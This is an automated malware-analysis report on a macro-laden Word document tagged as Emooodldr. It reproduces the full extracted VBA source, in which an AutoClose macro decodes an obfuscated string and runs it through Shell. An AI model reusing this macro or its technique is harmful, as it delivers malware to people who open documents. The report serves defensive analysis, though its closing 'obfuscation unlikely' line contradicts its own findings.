Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 bafb6b31625dac34…

MALICIOUS

Office (OOXML)

53.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: 249a5fb9382f9b42fc5b09c14cfb469e SHA-1: 2b3a9ad7772c5592c2ecb4380bada0ee52000b56 SHA-256: bafb6b31625dac34208b40dfbd0d61632a0096e8eac5220e80c4b8225fcb5b61
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro, which is automatically executed when the document is closed, calls a function that decodes and executes a payload. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family. The use of VBA macros and the Shell() function indicates a likely download and execution of a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2143 bytes
SHA-256: 91d792d7fd59a96a2c935ca926b31604dcfdfff6f7dad62e8066eb805374cc0c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Function roach(zemmi, identity)

  homegoer = 507
  thanatologistsator = -1
  For Each rechal In identity
    If rechal = zemmi Then
     homegoer = thanatologistsator
     Exit For
    End If

    thanatologistsator = thanatologistsator + 1
    
  Next

  
  If homegoer = 507 Then
    homegoer = -1
  End If


  roach = homegoer + 1
End Function


Private Function abacterial(unimprison)
  abiuret = Array("t", "k", "4", "F", "S", "h", "n", "Q", "6", "P", "w", "I", "z", "0", "9", "u", "5", "e", "g", "A", "f", "K", "T", "c", "p", "7", "l")
  deepnesses = Array("x", "o", ":", "n", "e", "s", "p", "=", "/", "N", "i", "m", "b", "h", "?", "c", "r", "j", "a", " ", ".", "d", "q", "l", "w", "t", "u")
  
  unguiculata = vbNullString
  
  For Each mechitzas In unimprison
    inkmaking = Application.Run("roach", mechitzas, abiuret)
    If inkmaking > -1 Then
    unguiculata = deepnesses(inkmaking) + unguiculata
    End If
  Next
  
  abacterial = StrReverse(unguiculata)
  
End Function

Sub AutoClose()
  unimprison = Array("I", "h", "0", "7", "g", "f", "S", "t", "S", "A", "0", "7", "7", "n", "4", "6", "6", "g", "h", "K", "c", "e", "F", "k", "T", "p", "K", "F", "k", "T", "p", "K", "T", "p", "T", "p", "p", "T", "S", "f", "u", "k", "I", "6", "P", "P", "6", "h", "I", "w", "t", "f", "n", "0", "n", "9", "l", "7", "I", "g", "Q", "7", "k", "5", "z")
  premisal = abacterial(unimprison)
  
  Application.Run "yabu", (premisal)
  
End Sub


Private Sub yabu(lowlander)
   
   algorism = 909
   cryptorchidism = True
   
   While cryptorchidism
     guilelessnesses = algorism + 611
     If guilelessnesses - algorism > 7 Then
       volata = synchronizations + "ll"
       Call VBA.Shell(lowlander, vbNormalFocus - 1)
       cryptorchidism = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 9692ec4b82a628630c698763c58557c75f6309f9fe9cf8275af333229767e34f
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely